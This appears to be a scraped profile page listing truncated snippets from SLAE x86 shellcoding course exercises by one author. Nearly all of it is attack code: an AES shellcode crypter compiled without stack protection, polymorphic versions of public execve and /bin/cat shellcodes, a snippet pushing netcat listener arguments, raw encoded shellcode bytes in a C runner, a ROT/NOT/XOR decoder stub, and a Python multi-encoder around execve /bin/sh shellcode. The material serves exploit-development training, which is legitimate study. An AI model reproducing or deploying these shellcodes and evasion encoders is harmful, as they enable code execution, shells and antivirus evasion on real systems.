nipunjaswal

/*
Compile using the following command:
$gcc aes_128_crypter.c -o aes_128_crypter -lmcrypt -fno-stack-protector -z execstack
Author: Nipun Jaswal (SLAE-1080)
*/

#include <stdio.h>
#include <string.h>
#include <mcrypt.h>

nipunjaswal

;http://shell-storm.org/shellcode/files/shellcode-575.php
;Author: Nipun Jaswal (SLAE-1080)
global _start
section .text

_start:
	xchg esi, eax	; Zero to EAX
	mov al, 0xb	; Mov Instead of PUSH
	;push byte +0xb
	;pop eax

nipunjaswal

; http://shell-storm.org/shellcode/files/shellcode-872.php
; Author: Nipun Jaswal (SLAE-1080)
global _start
section .text
 _start:
;   xor eax, eax
    xor edx, edx	; Cleared EDX
    mul edx		; Cleared EAX

;   push eax

nipunjaswal

; Polymorphic Version of /bin/cat Shellcode from http://shell-storm.org/shellcode/files/shellcode-571.php
; Author: Nipun Jaswal

global _start
section .text

_start:
;   xor eax,eax   
    xor ecx,ecx				; Clearing out ECX

nipunjaswal

global _start
section .text
 _start:
    xor eax, eax
    xor edx, edx
    push eax
    push 0x31373737     ;-vp17771
    push 0x3170762d
    mov esi, esp

nipunjaswal

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373

nipunjaswal

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x2c\x5e\x31\xc9\xb1\x19\x80\x3e\x83"
"\x7c\x0d\x80\x2e\x83\xf6\x16\x80\x36\xcf"
"\x80\x36\xaa\xeb\x10\x31\xd2\xb2\x83\x2a"
"\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88"
"\x1e\x46\xe2\xdb\xeb\x05\xe8\xcf\xff\xff"
"\xff\x2e\xdd\x4d\x75\x38\x38\x6c\x75\x75"
"\x38\x7b\x76\x77\x96\xfc\x4d\x96\xfb\x4c"

nipunjaswal

; ROT NOT XOR XOR Decoder
; Author: Nipun Jaswal
; SLAE-ID: 1080

global _start

section .text

_start:
	jmp short call_decoder		; JUMP - CALL - POP Sequence Starts

nipunjaswal

#!/usr/bin/python
# Multi Encoder
# Uses : XOR ---> XOR ---> NOT ---> ROT
# By: Nipun Jaswal ; SLAE-1080

# EXECVE /bin/sh Shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
# Configure ROT Shifts
n = 131 #ROT Shift